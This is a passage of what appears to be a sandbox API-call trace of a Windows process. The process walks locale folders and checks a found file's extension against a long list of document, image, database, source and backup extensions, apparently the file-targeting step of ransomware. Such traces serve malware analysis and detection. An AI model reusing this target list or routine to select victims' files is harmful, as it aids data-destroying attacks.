	[0172.416] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0172.417] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.417] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0172.418] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.418] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0172.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.419] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0172.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.419] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0172.420] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.420] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0172.424] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.424] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0172.424] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.424] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0172.425] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.425] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0172.426] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.426] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0172.427] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.427] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0172.427] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.427] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0172.428] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.428] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0172.428] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.428] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0172.428] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.429] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0172.429] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.429] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0172.429] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.429] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0172.429] lstrlenW (lpString="ui-strings.js") returned 13
	[0172.429] lstrlenW (lpString=".1cd") returned 4
	[0172.429] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0172.429] lstrlenW (lpString=".3ds") returned 4
	[0172.429] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0172.430] lstrlenW (lpString=".3fr") returned 4
	[0172.430] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0172.430] lstrlenW (lpString=".3g2") returned 4
	[0172.430] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0172.430] lstrlenW (lpString=".3gp") returned 4
	[0172.430] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0172.430] lstrlenW (lpString=".7z") returned 3
	[0172.430] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0172.430] lstrlenW (lpString=".accda") returned 6
	[0172.430] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0172.430] lstrlenW (lpString=".accdb") returned 6
	[0172.430] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0172.430] lstrlenW (lpString=".accdc") returned 6
	[0172.430] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0172.430] lstrlenW (lpString=".accde") returned 6
	[0172.430] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0172.430] lstrlenW (lpString=".accdt") returned 6
	[0172.430] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0172.430] lstrlenW (lpString=".accdw") returned 6
	[0172.430] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0172.430] lstrlenW (lpString=".adb") returned 4
	[0172.430] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0172.430] lstrlenW (lpString=".adp") returned 4
	[0172.430] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0172.430] lstrlenW (lpString=".ai") returned 3
	[0172.430] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0172.430] lstrlenW (lpString=".ai3") returned 4
	[0172.430] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0172.430] lstrlenW (lpString=".ai4") returned 4
	[0172.430] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0172.430] lstrlenW (lpString=".ai5") returned 4
	[0172.430] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".ai6") returned 4
	[0172.431] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".ai7") returned 4
	[0172.431] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".ai8") returned 4
	[0172.431] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".anim") returned 5
	[0172.431] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0172.431] lstrlenW (lpString=".arw") returned 4
	[0172.431] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".as") returned 3
	[0172.431] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0172.431] lstrlenW (lpString=".asa") returned 4
	[0172.431] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".asc") returned 4
	[0172.431] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".ascx") returned 5
	[0172.431] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0172.431] lstrlenW (lpString=".asm") returned 4
	[0172.431] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".asmx") returned 5
	[0172.431] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0172.431] lstrlenW (lpString=".asp") returned 4
	[0172.431] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".aspx") returned 5
	[0172.431] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0172.431] lstrlenW (lpString=".asr") returned 4
	[0172.431] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".asx") returned 4
	[0172.431] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".avi") returned 4
	[0172.431] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".avs") returned 4
	[0172.431] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0172.431] lstrlenW (lpString=".backup") returned 7
	[0172.432] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0172.432] lstrlenW (lpString=".bak") returned 4
	[0172.432] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0172.432] lstrlenW (lpString=".bay") returned 4
	[0172.432] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0172.432] lstrlenW (lpString=".bd") returned 3
	[0172.432] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0172.432] lstrlenW (lpString=".bin") returned 4
	[0172.432] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0172.432] lstrlenW (lpString=".bmp") returned 4
	[0172.432] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0172.432] lstrlenW (lpString=".bz2") returned 4
	[0172.432] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0172.432] lstrlenW (lpString=".c") returned 2
	[0172.432] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0172.432] lstrlenW (lpString=".cdr") returned 4
	[0172.432] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0172.432] lstrlenW (lpString=".cer") returned 4
	[0172.432] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0172.432] lstrlenW (lpString=".cf") returned 3
	[0172.432] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0172.432] lstrlenW (lpString=".cfc") returned 4
	[0172.432] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0172.432] lstrlenW (lpString=".cfm") returned 4
	[0172.432] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0172.432] lstrlenW (lpString=".cfml") returned 5
	[0172.432] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0172.432] lstrlenW (lpString=".cfu") returned 4
	[0172.432] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".chm") returned 4
	[0172.433] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".cin") returned 4
	[0172.433] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".class") returned 6
	[0172.433] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0172.433] lstrlenW (lpString=".clx") returned 4
	[0172.433] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".config") returned 7
	[0172.433] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0172.433] lstrlenW (lpString=".cpp") returned 4
	[0172.433] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".cr2") returned 4
	[0172.433] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".crt") returned 4
	[0172.433] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".crw") returned 4
	[0172.433] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".cs") returned 3
	[0172.433] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0172.433] lstrlenW (lpString=".css") returned 4
	[0172.433] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".csv") returned 4
	[0172.433] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".cub") returned 4
	[0172.433] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".dae") returned 4
	[0172.433] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".dat") returned 4
	[0172.433] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".db") returned 3
	[0172.433] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0172.433] lstrlenW (lpString=".dbf") returned 4
	[0172.433] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0172.433] lstrlenW (lpString=".dbx") returned 4
	[0172.434] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0172.434] lstrlenW (lpString=".dc3") returned 4
	[0172.434] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0172.434] lstrlenW (lpString=".dcm") returned 4
	[0172.434] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0172.434] lstrlenW (lpString=".dcr") returned 4
	[0172.434] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0172.434] lstrlenW (lpString=".der") returned 4
	[0172.434] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0172.434] lstrlenW (lpString=".dib") returned 4
	[0172.434] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0172.434] lstrlenW (lpString=".dic") returned 4
	[0172.434] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0172.434] lstrlenW (lpString=".dif") returned 4
	[0172.434] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0172.434] lstrlenW (lpString=".divx") returned 5
	[0172.434] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0172.434] lstrlenW (lpString=".djvu") returned 5
	[0172.434] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0172.434] lstrlenW (lpString=".dng") returned 4
	[0172.434] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0172.434] lstrlenW (lpString=".doc") returned 4
	[0172.434] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0172.434] lstrlenW (lpString=".docm") returned 5
	[0172.434] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0172.434] lstrlenW (lpString=".docx") returned 5
	[0172.434] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0172.434] lstrlenW (lpString=".dot") returned 4
	[0172.434] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".dotm") returned 5
	[0172.435] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0172.435] lstrlenW (lpString=".dotx") returned 5
	[0172.435] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0172.435] lstrlenW (lpString=".dpx") returned 4
	[0172.435] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".dqy") returned 4
	[0172.435] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".dsn") returned 4
	[0172.435] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".dt") returned 3
	[0172.435] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0172.435] lstrlenW (lpString=".dtd") returned 4
	[0172.435] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".dwg") returned 4
	[0172.435] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".dwt") returned 4
	[0172.435] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".dx") returned 3
	[0172.435] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0172.435] lstrlenW (lpString=".dxf") returned 4
	[0172.435] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".edml") returned 5
	[0172.435] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0172.435] lstrlenW (lpString=".efd") returned 4
	[0172.435] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".elf") returned 4
	[0172.435] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".emf") returned 4
	[0172.435] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".emz") returned 4
	[0172.435] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".epf") returned 4
	[0172.435] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0172.435] lstrlenW (lpString=".eps") returned 4
	[0172.436] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".epsf") returned 5
	[0172.436] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0172.436] lstrlenW (lpString=".epsp") returned 5
	[0172.436] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0172.436] lstrlenW (lpString=".erf") returned 4
	[0172.436] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".exr") returned 4
	[0172.436] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".f4v") returned 4
	[0172.436] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".fido") returned 5
	[0172.436] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0172.436] lstrlenW (lpString=".flm") returned 4
	[0172.436] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".flv") returned 4
	[0172.436] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".frm") returned 4
	[0172.436] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".fxg") returned 4
	[0172.436] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".geo") returned 4
	[0172.436] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".gif") returned 4
	[0172.436] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".grs") returned 4
	[0172.436] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".gz") returned 3
	[0172.436] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0172.436] lstrlenW (lpString=".h") returned 2
	[0172.436] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0172.436] lstrlenW (lpString=".hdr") returned 4
	[0172.436] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0172.436] lstrlenW (lpString=".hpp") returned 4
	[0172.437] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".hta") returned 4
	[0172.437] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".htc") returned 4
	[0172.437] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".htm") returned 4
	[0172.437] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".html") returned 5
	[0172.437] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0172.437] lstrlenW (lpString=".icb") returned 4
	[0172.437] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".ics") returned 4
	[0172.437] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".iff") returned 4
	[0172.437] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".inc") returned 4
	[0172.437] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".indd") returned 5
	[0172.437] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0172.437] lstrlenW (lpString=".ini") returned 4
	[0172.437] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".iqy") returned 4
	[0172.437] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0172.437] lstrlenW (lpString=".j2c") returned 4
